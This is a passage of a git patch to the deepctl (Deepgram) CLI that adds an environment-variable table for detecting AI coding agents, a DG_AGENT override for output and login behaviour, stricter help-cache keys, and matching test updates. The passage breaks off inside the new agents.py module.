the public source that documents or implements it, and the table
grows from 9 variables to 21 rows: AI_AGENT first, then AGENT (amp,
goose), GOOSE_TERMINAL, the Claude Code, Codex, Gemini, Copilot CLI,
OpenCode, Antigravity, Augment, Cursor and Aider variables, the
/opt/.devin file and a .pi/agent entry in PATH. A variable counts
when it is set and not empty; whitespace still counts, as before.

DG_AGENT=1 turns agent mode on and DG_AGENT=0 turns it off for
output, prompts, hints and login. Trust decisions keep reading the
raw markers, so DG_AGENT never loosens or tightens which config file
and key dg uses. Every new marker therefore also applies the
agent-session config and base URL rules.

NO_COLOR no longer counts toward the no-terminal score. Under
NO_COLOR, and in agent mode, the consoles write plain text with no
colour, bold or dim; otherwise they never pass no_color=False, so
FORCE_COLOR and TERM work as rich reads them. CI matches
case-insensitively, and the command-line flags count only before
"--".

output.is_agentic(), output.is_ai_agent() and AI_AGENT_ENV_MARKERS
stay importable and keep their meaning. output gains invoked_prog()
and stderr_color() for messages that name the program or colour raw
stderr lines.
---
 conftest.py                                   |   8 +-
 docs/contracts/help-cache-key.schema.json     |   8 +-
 docs/contracts/help-cache.md                  |  17 +-
 .../src/deepctl_cmd_listen/command.py         |  16 +-
 .../tests/unit/test_listen_body_checks.py     |   2 +-
 .../tests/unit/test_listen_output.py          |   4 +-
 .../tests/unit/test_listen_passthrough.py     |   8 +-
 .../src/deepctl_cmd_login/command.py          |  12 +-
 .../tests/unit/test_login_device_agent.py     |  20 +
 .../src/deepctl_cmd_speak/command.py          |   6 +-
 .../tests/unit/test_speak_agent.py            |   8 +-
 .../tests/unit/test_speak_output.py           |  14 +-
 .../deepctl-core/src/deepctl_core/__init__.py |   3 +
 .../deepctl-core/src/deepctl_core/agents.py   | 371 ++++++++++++++++++
 .../deepctl-core/src/deepctl_core/output.py   | 153 ++++----
 .../src/deepctl_core/transport.py             |   4 +-
 .../agent_env/claude-code-in-vscode.json      |  45 +++
 .../tests/unit/fixtures/agent_env/cursor.json |  34 ++
 .../fixtures/agent_env/github-actions.json    |  31 ++
 .../unit/fixtures/agent_env/jetbrains.json    |  20 +
 .../tests/unit/fixtures/agent_env/vscode.json |  35 ++
 .../tests/unit/fixtures/agent_env/warp.json   |  22 ++
 .../tests/unit/fixtures/agent_env/zed.json    |  20 +
 .../tests/unit/test_agent_trust.py            | 176 +++++++++
 .../deepctl-core/tests/unit/test_agents.py    | 340 ++++++++++++++++
 .../deepctl-core/tests/unit/test_output.py    |  70 +++-
 .../src/deepctl_shared_utils/diagnostics.py   |  42 +-
 src/deepctl/_cache.py                         |  75 ++--
 src/deepctl/_cli.py                           |   2 +-
 tests/unit/test_cache.py                      | 120 +++++-
 30 files changed, 1477 insertions(+), 209 deletions(-)
 create mode 100644 packages/deepctl-core/src/deepctl_core/agents.py
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/claude-code-in-vscode.json
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/cursor.json
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/github-actions.json
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/jetbrains.json
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/vscode.json
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/warp.json
 create mode 100644 packages/deepctl-core/tests/unit/fixtures/agent_env/zed.json
 create mode 100644 packages/deepctl-core/tests/unit/test_agent_trust.py
 create mode 100644 packages/deepctl-core/tests/unit/test_agents.py

diff --git a/conftest.py b/conftest.py
index 3a8e7bf5..02c51581 100644
--- a/conftest.py
+++ b/conftest.py
@@ -49,22 +49,24 @@ def _clean_ai_agent_env(monkeypatch):
 
 @pytest.fixture(autouse=True)
 def _clean_deepgram_env(monkeypatch):
-    """Remove all DEEPGRAM_* environment variables for test isolation."""
+    """Remove all DEEPGRAM_* environment variables, and the DG_AGENT
+    override, for test isolation."""
     for key in list(os.environ):
         if key.startswith("DEEPGRAM_"):
             monkeypatch.delenv(key, raising=False)
+    monkeypatch.delenv("DG_AGENT", raising=False)
 
 
 @pytest.fixture(autouse=True)
 def _speak_tests_run_as_a_person(request, monkeypatch):
     """Speak tests run as a person by default: the agent rules key off hard
     agent markers, which a developer's own shell may set (CLAUDECODE=1).
-    Tests that need agent mode patch ``is_ai_agent`` themselves."""
+    Tests that need agent mode patch ``agent_mode`` themselves."""
     if "deepctl-cmd-speak" not in request.path.parts:
         return
     from deepctl_core.output import AI_AGENT_ENV_MARKERS
 
-    for name in (*AI_AGENT_ENV_MARKERS, "OR_APP_NAME", "OR_SITE_URL"):
+    for name in (*AI_AGENT_ENV_MARKERS, "OR_APP_NAME", "OR_SITE_URL", "DG_AGENT"):
         monkeypatch.delenv(name, raising=False)
 
 
diff --git a/docs/contracts/help-cache-key.schema.json b/docs/contracts/help-cache-key.schema.json
index bbab63bb..2171a6dc 100644
--- a/docs/contracts/help-cache-key.schema.json
+++ b/docs/contracts/help-cache-key.schema.json
@@ -22,13 +22,15 @@
           {
             "type": "object",
             "additionalProperties": false,
-            "required": ["path", "mtime_ns", "size", "inode"],
+            "required": ["path", "mtime_ns", "size", "inode", "mode", "uid"],
             "properties": {
               "path": {"type": "string", "minLength": 1},
               "mtime_ns": {"type": "integer"},
               "size": {"type": "integer", "minimum": 0},
               "inode": {"type": "integer", "minimum": 0},
-              "cwd_relative": {"description": "Reserved; never written.", "const": true}
+              "mode": {"description": "st_mode: file type and permission bits.", "type": "integer", "minimum": 0},
+              "uid": {"description": "st_uid (0 on Windows).", "type": "integer", "minimum": 0},
+              "cwd_relative": {"description": "path is relative to the working directory.", "const": true}
             }
           },
           {
@@ -38,7 +40,7 @@
             "properties": {
               "path": {"type": "string", "minLength": 1},
               "absent": {"const": true},
-              "cwd_relative": {"description": "Reserved; never written.", "const": true}
+              "cwd_relative": {"description": "path is relative to the working directory.", "const": true}
             }
           }
         ]
diff --git a/docs/contracts/help-cache.md b/docs/contracts/help-cache.md
index c2f67611..3c967bf0 100644
--- a/docs/contracts/help-cache.md
+++ b/docs/contracts/help-cache.md
@@ -26,7 +26,7 @@ An entry is named `<version>-<prog>-<width>-<tty>.txt`.
 
 - **`<version>`:** the deepctl version, for example `0.5.0`.
 - **`<prog>`:** the program name in the usage line, with every character outside ASCII `[A-Za-z0-9._-]` replaced by `_`. Python derives the name in this order:
-  1. `DEEPCTL_PROG_NAME`, with surrounding whitespace removed, when that leaves it non-empty.
+  1. `DEEPCTL_PROG_NAME`, with surrounding whitespace removed, when that leaves a plain program name: an ASCII letter or digit, then ASCII letters, digits, `.`, `_` or `-`, at most 64 characters. Any other value is ignored, as if unset.
   2. Otherwise `dg` under `python -m deepctl`.
   3. Otherwise Click's name: the basename of `argv[0]` (on Windows, pip's launcher has already dropped `.exe`).
 
@@ -68,16 +68,19 @@ The launcher serves an entry only when every one of the following holds. Anythin
    - `prog` equals the program name the launcher will show, **before** the file-name sanitizing above, with surrounding whitespace stripped. That is the `DEEPCTL_PROG_NAME` value it sets.
    - `width` and `isatty` equal the values computed above.
 2. **`executable`** is exactly equal, as a string, to the bundle interpreter's `sys.executable`. It isn't resolved through symlinks, so `…/python3` and `…/python3.12` don't match.
-3. **Each item in `files`** is checked with `stat()` on its `path`, following symlinks:
-   - **`absent: true`** matches only when the path doesn't exist. Any `stat` error counts as not existing.
-   - **Any other item** matches only when `mtime_ns`, `size` and `inode` all equal the current values. `mtime_ns` is in nanoseconds; directories are included, and their `size` is whatever `stat` reports (0 on Windows).
+3. **Each item in `files`** is checked on its `path`:
+   - **`cwd_relative: true`** means `path` is relative: resolve it against the launcher's own working directory. Python writes one such item, `deepgram.yaml`. Any other item's `path` is absolute.
+   - **`absent: true`** matches only when nothing is there, not even a dangling symlink: `lstat()` fails.
+   - **Any other item** is checked with `stat()`, following symlinks, and matches only when `mtime_ns`, `size`, `inode`, `mode` and `uid` all equal the current values. A `stat` error is a mismatch. `mtime_ns` is in nanoseconds; directories are included, and their `size` is whatever `stat` reports (0 on Windows). `mode` is the whole `st_mode` (type and permission bits) and `uid` is `st_uid`: chmod and chown change neither mtime nor size, and the trust checks read both.
    - **On Windows, `mtime_ns`** is Python's conversion of the last-write FILETIME: `(filetime - 116444736000000000) * 100`, where `filetime` counts 100 ns intervals since 1601-01-01 UTC.
    - **On Windows, `inode`** is Python's `st_ino`, the file ID from `GetFileInformationByHandle(Ex)`. It can be wider than 64 bits on ReFS (Python 3.12 and later), so compare it as an arbitrary-precision integer.
-   - **`cwd_relative`** is reserved and never written. A reader that finds it treats the key as a miss.
+   - **On Windows, `mode` and `uid`** are Python's `st_mode`, which it builds from the file attributes and the file name's extension (CPython's `attributes_to_mode`), and `st_uid`, which is always 0.
 4. **Each name in `env`** has the same value in the launcher's environment, and `null` means the variable must be unset. On Windows, look the names up case-insensitively, as the OS does. A variable that isn't listed doesn't matter. `DEEPCTL_PROG_NAME` and `DEEPCTL_HELP_CACHE` are never listed: the launcher sets them, and `prog` already records the name.
 5. **`text_sha256`** (lowercase hex) equals the SHA-256 of the entry bytes the launcher read. This binds the text to its key: Python writes the text first and the key second, so text from another run under this key is a miss and is never served.
 
-A bundle install (`-I`, no user site, `HOME` is the real home) lists about 10 files and 21 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
+**Agent state.** `files` and `env` together hold every input of the agent detection table (`deepctl_core.agents`): each variable a row reads, `PATH` (the pi row) and `DG_AGENT` in `env`, and the Devin marker file `/opt/.devin` (POSIX only) in `files`. Python never writes an entry in an agent session, so a launcher that checks the key as above never serves one there and needs no copy of the table.
+
+A bundle install (`-I`, no user site, `HOME` is the real home) lists about 14 files and 34 environment variables. Python writes no key over the limits (32 files, 64 variables), so an install with a long `sys.path` (an editable install, say) gets no entry and always takes the Python path.
 
 **Paths and values that aren't valid Unicode.**
 - **Unix:** a path or environment value with bytes that don't decode under the filesystem encoding reaches Python as a lone surrogate (`\udcXX`).
@@ -107,4 +110,4 @@ Writes are atomic. The data goes to a `mkstemp` file (`.<random>.tmp`, mode 0600
 
 If the entry and key on disk are already byte-equal to the new ones, nothing is written. Entries for other versions are pruned, as are `.tmp` files older than an hour.
 
-Root `--help` reads no project file (`deepgram.yaml`), so no project-file warning is ever part of it.
+The key records `deepgram.yaml` in the working directory (`cwd_relative`), so an entry written in one project is never served in a directory whose project file differs.
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 9f683041..af2f5576 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -34,9 +34,9 @@
 from deepctl_core.hosts import CredentialHostError
 from deepctl_core.output import (
     _agentic,
+    agent_mode,
     format_source,
     get_output_format,
-    is_ai_agent,
     print_error,
     print_hint,
     print_info,
@@ -547,7 +547,7 @@ def pre_auth_check(self, config: Config, **kwargs: Any) -> Any | None:
         """
         if kwargs.get("source") is not None or kwargs.get("mic"):
             return None
-        if not is_ai_agent():
+        if not agent_mode():
             return None
         prog = _prog()
         text = msg.E_LISTEN_NO_SOURCE.format(prog=prog)
@@ -1606,7 +1606,7 @@ def _coded_failure(
         next_step: str | None = None,
     ) -> ListenCodedError:
         """Report a live-stream failure on stderr and return its envelope."""
-        hint = hint_agent if (_agentic or is_ai_agent()) else hint_human
+        hint = hint_agent if (_agentic or agent_mode()) else hint_human
         print_error(escape(text))
         print_hint(escape(hint))
         return ListenCodedError(
@@ -2038,16 +2038,16 @@ def _default(obj: Any) -> str:
         self._print_prerecorded_result(result)
 
     def _may_compact(self) -> bool:
-        """Compaction's conditions other than size: a hard AI
-        agent signal, a format chosen by detection rather than asked for,
-        no --full-output, and stdout neither a regular file nor the null
-        device."""
+        """Compaction's conditions other than size: agent mode (a hard AI
+        agent signal, or DG_AGENT=1), a format chosen by detection rather
+        than asked for, no --full-output, and stdout neither a regular file
+        nor the null device."""
         from deepctl_core.result_store import stdout_is_file_or_null
 
         return (
             get_output_format() == "json"
             and format_source() not in ("explicit", "default")
-            and is_ai_agent()
+            and agent_mode()
             and not self._full_output
             and not stdout_is_file_or_null()
         )
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py
index 9cb67e1e..e302132b 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py
@@ -42,7 +42,7 @@ def _env(monkeypatch, tmp_path):
     monkeypatch.setitem(output._output_config, "quiet", False)
     monkeypatch.setitem(output._output_config, "format", "json")
     monkeypatch.setitem(output._output_config, "format_source", "explicit")
-    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(listen_cmd, "agent_mode", lambda: False)
     monkeypatch.setattr(transport, "prog", lambda: "dg")
     monkeypatch.setattr(listen_cmd, "_prog", lambda: "dg")
     monkeypatch.setattr(listen_cmd, "_listen_json_warned", False)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py
index 727a8af6..c2756f79 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py
@@ -17,7 +17,7 @@
 
 @pytest.fixture
 def command(monkeypatch):
-    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: True)
+    monkeypatch.setattr(listen_cmd, "agent_mode", lambda: True)
     return ListenCommand()
 
 
@@ -67,7 +67,7 @@ def test_output_outcome_is_output_unwritable_with_the_kept_finals(command, capsy
 
 
 def test_person_gets_the_human_hint(command, monkeypatch):
-    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(listen_cmd, "agent_mode", lambda: False)
     monkeypatch.setattr(listen_cmd, "_agentic", False)
     outcome = live.LiveOutcome(
         status="error", kind="output", os_error="Input/output error"
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
index d407d735..39ce1837 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
@@ -48,7 +48,7 @@ def _env(monkeypatch, tmp_path):
     monkeypatch.setitem(output._output_config, "quiet", False)
     monkeypatch.setitem(output._output_config, "format", "json")
     monkeypatch.setitem(output._output_config, "format_source", "explicit")
-    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(listen_cmd, "agent_mode", lambda: False)
     monkeypatch.setattr(transport, "prog", lambda: "dg")
     monkeypatch.setattr(listen_cmd, "_prog", lambda: "dg")
     monkeypatch.setattr(listen_cmd, "_listen_json_warned", False)
@@ -225,7 +225,7 @@ def test_a_body_that_is_not_an_object_is_unreadable(monkeypatch):
 
 def agent(monkeypatch) -> None:
     fmt(monkeypatch, "json", "hard_agent")
-    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: True)
+    monkeypatch.setattr(listen_cmd, "agent_mode", lambda: True)
 
 
 def test_large_result_under_an_agent_is_compacted(monkeypatch, capsysbinary, tmp_path):
@@ -294,7 +294,7 @@ def test_compaction_boundaries(monkeypatch, capsysbinary, case):
         fmt(monkeypatch, "json", "explicit")
     elif case == "soft":
         fmt(monkeypatch, "json", "soft")
-        monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+        monkeypatch.setattr(listen_cmd, "agent_mode", lambda: False)
     elif case == "full_output":
         full_output = True
     elif case == "regular_file":
@@ -302,7 +302,7 @@ def test_compaction_boundaries(monkeypatch, capsysbinary, case):
             "deepctl_core.result_store.stdout_is_file_or_null", lambda: True
         )
     elif case == "no_agent":
-        monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+        monkeypatch.setattr(listen_cmd, "agent_mode", lambda: False)
     elif case == "text":
         fmt(monkeypatch, "text", "explicit")
     run(rest_client(body), full_output=full_output)
diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index 24d26abd..c05eead3 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -160,8 +160,14 @@ def _rerun_with_yes(prog: str | None) -> str | None:
 
 
 def _hard_signal() -> bool:
-    """An AI agent marked the environment, or ``DG_AGENT=1`` says one runs dg."""
-    return is_ai_agent() or os.environ.get("DG_AGENT") == "1"
+    """Hard agent mode: an AI agent marked the environment, or ``DG_AGENT=1``
+    says one runs dg (``DG_AGENT=0`` turns it off)."""
+    from deepctl_core.agents import override
+
+    forced = override()
+    if forced is not None:
+        return forced == "1"
+    return is_ai_agent()
 
 
 def _hint_for(
@@ -1044,7 +1050,7 @@ def _start_pending(
         self, config: Config, auth_manager: AuthManager, identity_url: str
     ) -> Any:
         """Get a device code, save it for --complete, and return the link and
-        code at once (exit 0; OQ-16)."""
+        code at once (exit 0)."""
         profile_name = config.profile or "default"
         try:
             device = auth_manager._request_device_code(identity_url)
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
index df0f3341..b5d1eca4 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
@@ -209,6 +209,26 @@ def test_pending_without_an_agent_marker(env, agent, monkeypatch, why):
     assert isinstance(result, LoginPendingResult)
 
 
+def test_dg_agent_0_waits_like_a_person(env, agent, monkeypatch):
+    """DG_AGENT=0 restores the interactive login for a person whose shell
+    carries an agent marker; trust still reads the marker."""
+    agent(True)
+    monkeypatch.setenv("DG_AGENT", "0")
+    output._output_config["agentic"] = False  # as the process computes it
+    output._output_config["format"] = "default"
+    monkeypatch.setattr(sys.stdin, "isatty", lambda: True, raising=False)
+    monkeypatch.setattr(sys.stdout, "isatty", lambda: True, raising=False)
+    calls = []
+    monkeypatch.setattr(
+        AuthManager,
+        "login_with_device_flow",
+        lambda self, open_browser=True: calls.append(open_browser),
+    )
+    run(env)
+    assert calls == [True]
+    assert not pending_path(env).exists()
+
+
 def test_person_at_a_terminal_still_waits(env, agent, monkeypatch):
     agent(False)
     output._output_config["format"] = "default"
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index cc547559..caeb1692 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -39,8 +39,8 @@
 )
 from deepctl_core.output import (
     _agentic,
+    agent_mode,
     format_source,
-    is_ai_agent,
     print_error,
     print_hint,
     print_warning,
@@ -334,7 +334,7 @@ def _coded(
     details: dict[str, Any] | None = None,
 ) -> SpeakCodedError:
     """Report a coded failure on stderr (two lines) and return its envelope."""
-    hint = hint_agent if (_agentic or is_ai_agent()) else hint_human
+    hint = hint_agent if (_agentic or agent_mode()) else hint_human
     print_error(escape(text))
     print_hint(escape(hint))
     return SpeakCodedError(
@@ -1042,7 +1042,7 @@ def _preflight(self, kwargs: dict[str, Any]) -> _Plan | SpeakCodedError:
                 hint_agent=msg.H_SPEAK_O_FORMAT.format(prog=prog, value=legacy),
                 next_step=self._o_format_next_step(prog, legacy, kwargs),
             )
-        agent = is_ai_agent()
+        agent = agent_mode()
         text = kwargs.get("text")
         if agent and not text and not kwargs.get("file"):
             # Never block on a stdin that may never close; "-" opts in.
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py
index ea1e7eb8..07c41ae7 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_agent.py
@@ -64,7 +64,7 @@ def _env(monkeypatch, tmp_path):
     monkeypatch.chdir(tmp_path)
     monkeypatch.setattr(speak, "_deprecation_shown", False)
     monkeypatch.setattr(speak, "_agentic", True)
-    monkeypatch.setattr(speak, "is_ai_agent", lambda: True)
+    monkeypatch.setattr(speak, "agent_mode", lambda: True)
     monkeypatch.setattr(sinks, "stdout_stat", lambda: None)  # a pipe
     monkeypatch.setattr(sinks, "stdout_takes_audio", lambda: False)
 
@@ -110,7 +110,7 @@ def test_dash_reads_stdin_in_agent_mode(self, monkeypatch):
         assert client.speak_text.call_args.kwargs["text"] == "from stdin"
 
     def test_dash_reads_stdin_for_a_person_too(self, monkeypatch):
-        monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+        monkeypatch.setattr(speak, "agent_mode", lambda: False)
         cmd = SpeakCommand()
         client = Mock(spec=DeepgramClient)
         client.speak_text.return_value = iter([b"a"])
@@ -124,7 +124,7 @@ def test_dash_reads_stdin_for_a_person_too(self, monkeypatch):
         assert client.speak_text.call_args.kwargs["text"] == "typed"
 
     def test_ci_only_keeps_reading_piped_stdin(self, monkeypatch):
-        monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+        monkeypatch.setattr(speak, "agent_mode", lambda: False)
         assert _pre(["speak"], monkeypatch, text=None) is None
 
 
@@ -226,7 +226,7 @@ def test_regular_file_tty_or_dev_null_is_allowed(self, monkeypatch):
         assert _pre(["speak", "hi"], monkeypatch) is None
 
     def test_people_and_ci_may_pipe_audio(self, monkeypatch):
-        monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+        monkeypatch.setattr(speak, "agent_mode", lambda: False)
         assert _pre(["speak", "hi"], monkeypatch) is None
 
 
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
index 53e85044..d2af3e66 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
@@ -66,7 +66,7 @@ def _env(monkeypatch, tmp_path):
     monkeypatch.chdir(tmp_path)
     monkeypatch.setattr(speak, "_deprecation_shown", False)
     monkeypatch.setattr(speak, "_agentic", False)
-    monkeypatch.setattr(speak, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(speak, "agent_mode", lambda: False)
     # stdout is "a pipe" unless a test says otherwise.
     monkeypatch.setattr(sinks, "stdout_stat", lambda: None)
     # The signal guard re-delivers a signal after _CLOSE_TIMEOUT_S if the
@@ -749,7 +749,7 @@ def test_a_stalled_unwind_is_cut_short_by_the_second_signal(
         assert died == [signal.SIGTERM]
 
     def test_second_ctrl_c_cleans_up_and_cancels_like_the_first(self, monkeypatch):
-        """N-3: the second Ctrl-C (or the timer) unwinds by KeyboardInterrupt
+        """The second Ctrl-C (or the timer) unwinds by KeyboardInterrupt
         again, so the usual cancel path, exit 2 and exit handlers follow;
         the hard-exit backstop is cancelled with the guard."""
         import signal
@@ -859,7 +859,7 @@ def test_replace_drops_setuid_setgid_and_sticky(self, tmp_path):
     def test_a_signal_inside_the_rename_leaves_no_temp_file(
         self, tmp_path, monkeypatch
     ):
-        """N-1 (the reviewer's repro): os.replace interrupted; abort still
+        """os.replace interrupted; abort still
         removes the temp file."""
         path = tmp_path / "a.wav"
         path.write_bytes(b"old")
@@ -1070,7 +1070,7 @@ def h(signum, frame):
             signal.signal(signal.SIGHUP, before)
 
     def test_most_severe_deferred_signal_wins(self):
-        """N-1: TERM then INT during a section ends by TERM."""
+        """TERM then INT during a section ends by TERM."""
         import signal
 
         seen: list[int] = []
@@ -1095,7 +1095,7 @@ def h(signum, frame):
     def test_a_signal_during_the_restore_reaches_the_restored_handler(
         self, monkeypatch, signame
     ):
-        """S-2: closed guard, original handlers back, no live timer, no
+        """Closed guard, original handlers back, no live timer, no
         cleanup; the signal goes to the handler that was there before."""
         import signal
 
@@ -1145,7 +1145,7 @@ def settled() -> bool:
         not hasattr(__import__("signal"), "pthread_sigmask"), reason="POSIX"
     )
     def test_mask_is_restored_under_a_signal_flood(self):
-        """S-3: the mask is always restored, even when a pending handler
+        """The mask is always restored, even when a pending handler
         raises inside the section's own setup. Run in a child process: the
         flood can land on any bytecode."""
         import subprocess
@@ -1197,7 +1197,7 @@ def flood():
         assert "raises=0" not in p.stdout
 
     def test_abort_outside_the_guard_still_removes_the_temp_file(self, tmp_path):
-        """N-2: a Ctrl-C taken by another thread while abort() runs with no
+        """A Ctrl-C taken by another thread while abort() runs with no
         guard installed is held until the removal is done."""
         import signal
 
diff --git a/packages/deepctl-core/src/deepctl_core/__init__.py b/packages/deepctl-core/src/deepctl_core/__init__.py
index 7ac04113..d8b66b9f 100644
--- a/packages/deepctl-core/src/deepctl_core/__init__.py
+++ b/packages/deepctl-core/src/deepctl_core/__init__.py
@@ -31,6 +31,7 @@
     )
     from .output import (
         OutputFormatter,
+        agent_mode,
         get_console,
         get_output_format,
         get_status_console,
@@ -71,6 +72,7 @@
     "ProfileInfo": "models",
     "ProfilesResult": "models",
     "TimingContext": "timing",
+    "agent_mode": "output",
     "enable_timing": "timing",
     "get_console": "output",
     "get_output_format": "output",
@@ -130,6 +132,7 @@
     "ProfileInfo",
     "ProfilesResult",
     "TimingContext",
+    "agent_mode",
     "enable_timing",
     "get_console",
     "get_output_format",
diff --git a/packages/deepctl-core/src/deepctl_core/agents.py b/packages/deepctl-core/src/deepctl_core/agents.py
new file mode 100644
index 00000000..570b106b
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/agents.py
@@ -0,0 +1,371 @@
+"""Agent detection: whether an AI agent, automation or a person runs dg.
+
+One table decides it, and ``dg help agent-mode`` prints the same table.
+Every hard signal names the public source that documents or implements it;
+a variable without one is never added.
+
+Evaluation order:
+
+1. ``DG_AGENT=1`` turns agent mode on and ``DG_AGENT=0`` turns it off, for
+   output, prompts, notices and login. Other values are ignored.
+2. The hard signals in ``HARD_SIGNALS``, top to bottom. The first match
+   names the agent.
+3. The soft signals (``CI``, ``--non-interactive``/``--agent-friendly``, or
+   no terminal): automation is likely. They change presentation and prompts
+   only.
+
+Trust decisions (which config file and API key to use, where the key may be
+sent, whether to save) read the raw hard signals through
+:func:`is_ai_agent`. ``DG_AGENT`` never changes them, in either direction.
+
+Stdlib only, and nothing is cached: tests and callers that change the
+environment see the change on the next call.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import sys
+from typing import TYPE_CHECKING, NamedTuple
+
+if TYPE_CHECKING:
+    from collections.abc import Callable, Mapping
+
+OVERRIDE_VAR = "DG_AGENT"
+
+# Public sources for the table, read 2026-10-31 and again 2026-11-01.
+SOURCES: dict[str, str] = {
+    "gh": "https://github.com/cli/cli/blob/trunk/internal/agents/detect.go",
+    "vercel": (
+        "https://github.com/vercel/vercel/blob/main/packages/detect-agent/src/index.ts"
+    ),
+    "vscode": (
+        "https://github.com/microsoft/vscode/blob/main/"
+        "src/vs/platform/chat/common/aiAgentEnv.ts"
+    ),
+    "goose": (
+        "https://github.com/block/goose/blob/main/"
+        "documentation/docs/guides/environment-variables.md"
+    ),
+    "codex": "https://github.com/openai/codex/blob/main/codex-rs/core/src/spawn.rs",
+    "aider": "https://github.com/Aider-AI/aider/blob/main/aider/llm.py",
+    "claude-agent-sdk": (
+        "https://github.com/anthropics/claude-agent-sdk-python/blob/main/"
+        "src/claude_agent_sdk/_internal/transport/subprocess_cli.py"
+    ),
+}
+
+_AGENT_ID = re.compile(r"[A-Za-z0-9_-]{1,64}")
+_AGENT_VALUES = ("amp", "goose")
+
+# A file some agent sandboxes create (POSIX only). A module attribute so
+# tests can point it elsewhere.
+DEVIN_MARKER = "/opt/.devin"
+# The variable the pi row reads.
+HARD_PATH_VAR = "PATH"
+
+
+def _set(env: Mapping[str, str], name: str) -> bool:
+    """Present and not empty. Whitespace counts: a marker set to " " is
+    still a marker, so trust never loosens on an odd value."""
+    return bool(env.get(name, ""))
+
+
+def _ai_agent_id(env: Mapping[str, str]) -> str:
+    value = env.get("AI_AGENT", "")
+    return value if _AGENT_ID.fullmatch(value) else "unknown"
+
+
+class Match(NamedTuple):
+    """A hard signal that matched."""
+
+    agent_id: str
+    # The variable that matched, or a description of the check (rows that
+    # are a file or a PATH entry).
+    reason: str
+    # True for the checks that aren't a variable someone set on purpose.
+    session: bool = False
+
+
+class HardSignal(NamedTuple):
+    """One row of the detection table."""
+
+    name: str
+    condition: str
+    sources: tuple[str, ...]
+    match: Callable[[Mapping[str, str]], Match | None]
+
+
+def _when_set(name: str, agent_id: str) -> Callable[[Mapping[str, str]], Match | None]:
+    def match(env: Mapping[str, str]) -> Match | None:
+        return Match(agent_id, name) if _set(env, name) else None
+
+    return match
+
+
+def _ai_agent(env: Mapping[str, str]) -> Match | None:
+    return Match(_ai_agent_id(env), "AI_AGENT") if _set(env, "AI_AGENT") else None
+
+
+def _agent_value(env: Mapping[str, str]) -> Match | None:
+    value = env.get("AGENT", "")
+    return Match(value, "AGENT") if value in _AGENT_VALUES else None
+
+
+def _cursor_role(env: Mapping[str, str]) -> Match | None:
+    if env.get("CURSOR_EXTENSION_HOST_ROLE", "") == "agent-exec":
+        return Match("cursor-cli", "CURSOR_EXTENSION_HOST_ROLE")
+    return None
+
+
+def _aider(env: Mapping[str, str]) -> Match | None:
+    if env.get("OR_APP_NAME", "") == "Aider":
+        return Match("aider", "OR_APP_NAME")
+    if "aider" in env.get("OR_SITE_URL", ""):
+        return Match("aider", "OR_SITE_URL")
+    return None
+
+
+def _devin(env: Mapping[str, str]) -> Match | None:
+    del env
